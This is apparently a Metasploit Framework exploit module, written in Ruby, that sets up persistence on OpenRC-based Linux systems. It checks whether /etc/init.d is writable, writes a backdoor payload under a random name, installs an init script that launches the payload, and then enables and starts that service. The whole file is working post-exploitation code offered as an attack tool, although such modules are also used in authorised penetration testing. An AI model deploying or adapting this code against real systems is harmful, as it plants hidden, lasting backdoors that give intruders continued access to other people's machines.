## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Unix include Msf::Exploit::FileDropper include Msf::Exploit::EXE # for generate_payload_exe include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/linux/local/service_persistence' def initialize(info = {}) super( update_info( info, 'Name' => 'Init OpenRC Persistence', 'Description' => %q{ This module will create a service on the box via OpenRC, and mark it for auto-restart. We need enough access to write service files and potentially restart services. Verified against alpine 3.21.2 }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', ], 'Platform' => ['unix', 'linux'], 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0, 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE ], 'References' => [ ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'], ['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS], ['URL', 'https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts'], ['URL', 'https://wiki.alpinelinux.org/wiki/OpenRC'], ['URL', 'https://github.com/OpenRC/openrc/blob/master/service-script-guide.md'], ], 'SessionTypes' => ['shell', 'meterpreter'], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] }, 'DisclosureDate' => '2007-04-05' # openrc release date ) ) register_options( [ OptString.new('SERVICE', [false, 'Name of service to create']), OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']), ] ) register_advanced_options( [ OptBool.new('EnableService', [true, 'Enable the service', true]) ] ) end def check print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir) return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir) return CheckCode::Safe('/etc/init.d/ doesnt exist') unless exists?('/etc/init.d/') return CheckCode::Safe('/etc/init.d/ isnt writable') unless writable?('/etc/init.d/') return CheckCode::Safe('Likely not an openrc based system') unless command_exists?('openrc') CheckCode::Appears("#{writable_dir} is writable and system is openrc based") end def install_persistence print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') backdoor = write_shell(writable_dir) path = backdoor.split('/')[0...-1].join('/') file = backdoor.split('/')[-1] openrc(path, file) end def write_shell(path) file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10) backdoor = "#{path}/#{file_name}" vprint_status("Writing backdoor to #{backdoor}") if payload.arch.first == 'cmd' write_file(backdoor, payload.encoded) chmod(backdoor, 0o755) else upload_and_chmodx(backdoor, generate_payload_exe) end @clean_up_rc << "rm #{backdoor}\n" fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor) backdoor end def openrc(backdoor_path, backdoor_file) if payload.arch.first == 'cmd' script = %(#!/sbin/openrc-run name=#{backdoor_file} command=/bin/sh command_args="#{backdoor_path}/#{backdoor_file}" pidfile="/run/${RC_SVCNAME}.pid" command_background="yes" ) else script = %(#!/sbin/openrc-run name=#{backdoor_file} command="#{backdoor_path}/#{backdoor_file}" command_args="" pidfile="/run/${RC_SVCNAME}.pid" command_background="yes" ) end service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12) service_path = "/etc/init.d/#{service_filename}" vprint_status("Writing service: #{service_path}") begin upload_and_chmodx(service_path, script) @clean_up_rc << "rm #{service_path}\n" rescue Rex::Post::Meterpreter::RequestError print_error("Writing '#{service_path}' to the target and or changing the file permissions failed") end fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_path) if datastore['EnableService'] vprint_status('Enabling service') cmd_exec("rc-update add '#{service_filename}'") @clean_up_rc << "execute -f sh -a \"-c 'rc-update del #{service_filename}'\"" end print_good('Starting service') cmd_exec("'#{service_path}' start") end end